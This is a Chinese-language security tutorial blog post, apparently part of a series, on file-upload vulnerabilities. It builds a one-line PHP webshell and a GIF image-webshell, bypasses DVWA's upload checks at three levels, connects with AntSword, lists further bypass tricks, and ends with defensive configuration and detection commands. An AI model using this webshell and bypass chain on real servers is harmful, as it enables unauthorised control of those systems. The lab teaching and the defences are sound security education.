「CYLOG 安全攻防」系列第十二篇。上一篇聊了 XSS——一条评价,盗走三千个账号。这个系列不整虚的:真实场景开场,原理讲透,步骤能照着做。
⚖️ 法律与风险边界
免责声明:本文所有内容仅用于合法安全研究与授权测试,禁止对任何未授权的系统、服务器实施上传、植入木马等操作。未经授权控制他人计算机系统属于刑事犯罪,后果自负。
周二上午,客户慌慌张张打来电话:官网首页被人换了,满屏乱码,后台登录不进去。我上去一看,/var/www 里躺着一张 GIF——文件头是正常的图片,后半截藏着一句话木马。
那张图不是他们传的。攻击者利用上传功能,把「图片马」传进了服务器,然后通过它执行命令、改了首页。一张图,一台服务器。
—— 网络安全 · 黑客日常 · CYLOG 文件上传漏洞 一张「图」,变成服务器后门 这是「CYLOG 安全攻防」系列的第二
为什么上传功能是Web安全的重灾区
上传功能(头像、附件、证件照)是 Web 应用标配。漏洞在于:服务端只校验了后缀名,甚至什么都不校验,就把文件存进 Web 目录——那么上传的就不是图片,而是「能执行代码的脚本」。
攻击者要的,是一个能在服务器上执行命令的入口(Webshell)。2026 年 6 月某建站系统被曝上传漏洞,攻击者靠图片马+一句话木马拿下服务器,3000+ 站点被植入挖矿程序——一条链打穿一片。
下面我们来做一下预演
原理前置:一句话木马与图片马是什么
一句话木马就一行代码:<?php @eval($_POST["cmd"]);?>。它做的事很朴素——接收 POST 请求里的 cmd 参数,把它当 PHP 代码执行。
Webshell 按体积和功能分三类:一句话木马(一行代码,体积小隐蔽性强,需配合蚁剑/菜刀等工具使用);小马(功能简单,通常仅用于上传大马);大马(功能完整的网页管理工具,自带文件管理、命令执行、数据库连接等功能)。
光有木马不够,得让服务器「执行」它。整条链:制作木马 → 绕过校验上传 → 服务器当 PHP 执行 → 用蚁剑连接拿到命令执行。
好,原理懂了,继续
环境准备:先做对,再动手
🖥️ 环境准备
靶机:DVWA(上传模块,本次走 Low / Medium / High 三个等级) 攻击机:Kali Linux + 蚁剑(AntSword) 上传目录:DVWA 上传后文件在靶机 /var/www/html/dvwa/hackable/uploads/ 先确认蚁剑可用:kali@attack:~$ antsword
$ bash ⧉ 一键复制
# 攻击机确认靶机可达
kali@attack:~$ curl -I http://192.168.56.10/dvwa/
# 期望输出:HTTP/1.1 200 OK
# 准备一张正常图片做底(本地即可):
# 随便找一张 1x1 的 GIF 或 PNG
实操复现:从上传到拿到服务器权限
⚖️ 法律与风险边界
安全提示:以下演示仅在你自己搭建的靶机(DVWA)上执行,请勿对任何未经授权的真实系统尝试。
DVWA 的上传模块按安全等级逐步加固,正好对应攻击者常用的绕过手法。我们从最基础的 Low 开始,按难度分级走一遍——新手建议先确保 Low 一次成功,再往上加难度。
$ bash ⧉ 一键复制
# Low 级别:完全无校验,直接上传 .php 一句话木马
# 第一步:写一句话木马
kali@attack:~$ echo '<?php @eval($_POST["cmd"]);?>' > shell.php
# 第二步:DVWA 上传页提交 shell.php(Security Level 设为 Low)
# 第三步:确认文件可访问
kali@attack:~$ curl -I http://192.168.56.10/dvwa/hackable/uploads/shell.php
# 期望输出:HTTP/1.1 200 OK
Low 级别连后缀都不校验,.php 直接上传成功——这是最原始的上传漏洞。现在很少有系统这么裸奔,但它是理解后面所有绕过手法的基础。
$ bash ⧉ 一键复制
# Medium 级别:只校验 Content-Type,抓包改类型即可
# 第一步:正常上传 shell.php,Burp Suite 开启拦截
# 第二步:把请求头 Content-Type: application/x-php 改成 image/jpeg
# 第三步:放行,上传成功
# 原理:服务端只检查 HTTP 头里的 Content-Type,
# 而它是客户端可以随意伪造的字段
MIME 绕过的本质:校验的是「请求自报的类型」,不是文件的真实内容。就像进小区只看你穿的工牌颜色,不核对人脸。
$ bash ⧉ 一键复制
# High 级别:校验文件头 + MIME + 后缀,需要图片马
# 第一步:制作图片马(GIF 文件头 + 一句话木马)
kali@attack:~$ echo 'GIF89a' > shell.gif # GIF 文件头
kali@attack:~$ echo '<?php @eval($_POST["cmd"]);?>' >> shell.gif
# 更真实的做法:用真实图片拼接木马
# kali@attack:~$ cat normal.jpg shell.php > shell.jpg
# 第二步:验证 file 命令识别为图片
kali@attack:~$ file shell.gif
# 期望输出:shell.gif: GIF image data
# 第三步:上传 shell.gif
⚠️ 关键前提:图片马只能绕过「上传校验」,能不能执行取决于服务器有没有解析漏洞。默认 Apache/Nginx 不会把 .gif 当 PHP 解析——图片马本身不会执行代码!
那什么时候能执行?两个经典场景: ① Apache 多后缀解析漏洞:文件名 shell.php.gif,服务器从右往左匹配后缀,遇到 .php 就按 PHP 解析。⚠️ 该特性仅在 Apache 配置了 AddHandler application/x-httpd-php .php 规则时生效,并非所有 Apache 版本默认支持;现代标准配置已普遍规避。 ② Nginx 路径解析漏洞(cgi.fix_pathinfo 配置缺陷):访问 /uploads/shell.gif/.php 时,Nginx 把 shell.gif 交给 PHP 解析(旧版本常见,现已普遍修复)。
⚠️ 错误预演(翻车现场)
上传成功但蚁剑连不上?①文件没被解析为 PHP(检查后缀与解析漏洞前提是否满足);②路径不对(服务端可能重命名,去 uploads 目录看实际文件名);③连接密码与木马里的 $_POST["cmd"] 不一致。
🛡️ 防御清单
💡 新手常见踩坑: ① 上传成功但蚁剑连不上:优先检查文件是否能被解析为 PHP、路径是否正确、连接密码是否匹配; ② 图片马上传后被识别为非法:可尝试用真实图片合并木马(cat normal.jpg shell.php > shell.jpg),文件头更真实; ③ 公网测试被拦截:禁止对未授权目标测试,自有服务器注意云 WAF、安全组的拦截规则。
$ bash ⧉ 一键复制
# 第四步:蚁剑连接(AntSword → 添加数据)
# URL:http://192.168.56.10/dvwa/hackable/uploads/shell.php
# 连接密码:cmd(对应木马里的 $_POST["cmd"])
# 编码器:默认即可
# 连接成功后终端执行:
# id → 当前用户
# whoami → 权限确认
# ls /var/www → 读 Web 目录
蚁剑终端输出:
uid=33(www-data) gid=33(www-data)
→ 已获得 Web 服务运行权限。攻击者下一步就是提权(第 5 篇会讲)、内网横向、留后门。
✅ 成功预演 · 结果解读
结果解读:①整条链 = 制作木马 → 绕过校验上传 → 解析执行 → 命令执行;②防御视角:靶机 /var/log/apache2/access.log 里能看到上传请求和后续蚁剑的大量 POST(特征:短时间内大量 POST 到同一个文件);③自查:检查自己系统的上传目录有没有可疑文件、日志有没有异常 POST。
看到这里,容易以为「上传绕过只有图片马一种」。其实主流绕过思路远不止这些,快速过一遍建立完整认知: · 前端校验绕过:浏览器禁用 JS 或抓包修改文件名 · MIME 类型绕过:修改请求头 Content-Type 为 image/jpeg · 文件头绕过:在文件开头添加图片文件头(GIF89a、FFD8FF 等) · 后缀绕过:大小写、末尾加点/空格、特殊后缀(.php5/.phtml) · 配置注入:上传 .htaccess 或 .user.ini 改变服务器解析规则 · 解析漏洞配合:利用 Apache/Nginx 解析缺陷执行非 php 后缀文件
预演之后,我们需要知道的事
攻防迭代:老式校验 vs 现代防护
维度
老式校验(2015 年前)
现代防护(2026 年标准)
校验逻辑
仅校验后缀名 / Content-Type
后缀白名单 + 文件头校验 + 内容深度检测
文件处理
直接存储原文件
强制重编码 / 随机重命名 / 路径隔离
存储位置
Web 根目录内
独立对象存储 / 不可执行目录 / 独立域名
流量防护
无
云 WAF 拦截恶意上传流量 + 上传后行为检测
防御落地:三层架构堵死上传漏洞
🛡️ 防御清单
🛡️ ① 白名单校验:后缀白名单 + MIME + 文件头三重校验,上传目录禁止执行脚本(Apache: php_admin_flag engine off;Nginx: location 内不配 fastcgi)。 🛡️ ② 文件处理:随机重命名 + 强制图片重编码(GD/ImageMagick),嵌入的代码随重编码被破坏——这是对付图片马最有效的一招。⚠️ 注意:强制重编码仅对位图(JPG/PNG/GIF)有效;SVG 矢量图本质是 XML 文件,可内嵌脚本代码,无法通过重编码破坏,需通过标签白名单过滤或禁止上传 SVG。 🛡️ ③ 架构隔离:上传目录放独立域名/对象存储(OSS/COS),与主站 Web 执行环境隔离;WAF 拦 webshell 特征;日志告警「上传后短时间大量 POST」行为。
$ bash ⧉ 一键复制
# Nginx 上传目录禁止执行 PHP(关键配置):
# location ^~ /uploads/ {
# location ~ \.php$ { deny all; }
# }
# ⚠️ 边界说明:该配置仅拦截直接访问 .php 文件的场景;
# 防御 shell.php.gif 双后缀解析,需配合关闭 cgi.fix_pathinfo:
# php-fpm 配置:cgi.fix_pathinfo=0
# 图片强制重编码(PHP + GD):
# $img = imagecreatefromstring(file_get_contents($tmp));
# imagepng($img, $new_name); // 重新编码后,嵌入的代码被破坏
$ bash ⧉ 一键复制
# 自查命令:找上传目录里的可疑文件
# ① 按文件名找(局限:只能发现 .php 后缀的)
kali@attack:~$ find /var/www -name "*.php*" -type f
# ② 内容层检测:搜包含危险函数的文件(能发现藏在图片里的 webshell)
kali@attack:~$ grep -r "eval\|assert\|system\|exec" /var/www/html/uploads/
# ③ 专业工具:河马(Hema)、D盾等 webshell 扫描器
# 实战建议:命令行只能覆盖已知特征,建议配合专用扫描工具全面检测
重编码后:上传的图片马被重新绘制,嵌入的 PHP 代码变成图片的一部分,不再被执行——一张图,真的只是一张图了。最佳实践是把上传目录剥离出 Web 执行环境(独立域名/对象存储),解析漏洞再多也打不进来。
做了这么多年渗透,上传漏洞是我见过「性价比最高」的入侵入口——往往只需要开发少写一行校验,攻击者就能直接拿到服务器权限。但反过来,防御上传漏洞也没那么复杂:做好目录禁执行 + 文件重编码 + 白名单校验,就能挡住 99% 的上传攻击。
写在最后
客户的服务器最后怎么处理的?隔离主机、备份还原首页、上传目录加禁执行、图片全部走重编码。那只 GIF 被我们留了一份做样本——现在它安静地躺在取证报告里。
上传功能是 Web 应用的「后门捷径」。目录禁执行 + 强制重编码,图片马就只是一张图。
下一篇我们聊端口扫描:一张网卡,看穿你的暴露面——教你如何找到服务器上「忘了关的门」。
⚖️ 法律与风险边界
法律与风险边界:未经授权对他人系统实施上传、植入木马等操作,涉嫌《刑法》第 285 条(非法侵入/非法控制计算机信息系统罪)、第 286 条(破坏计算机信息系统罪);利用木马窃取数据另涉侵犯公民个人信息罪。所有测试仅限自有靶机、企业授权范围或合规 SRC 平台。真实系统发现可疑 webshell:立即隔离主机、保留日志、联系应急响应(可参考 CNVD/CNNVD 通报渠道)。
— · END · —
🔐 本日志仅用于网络安全教学 · 请勿用于非法用途
虚构日记 · 时间地点人物均已虚拟化 · 防御永远比攻击更有价值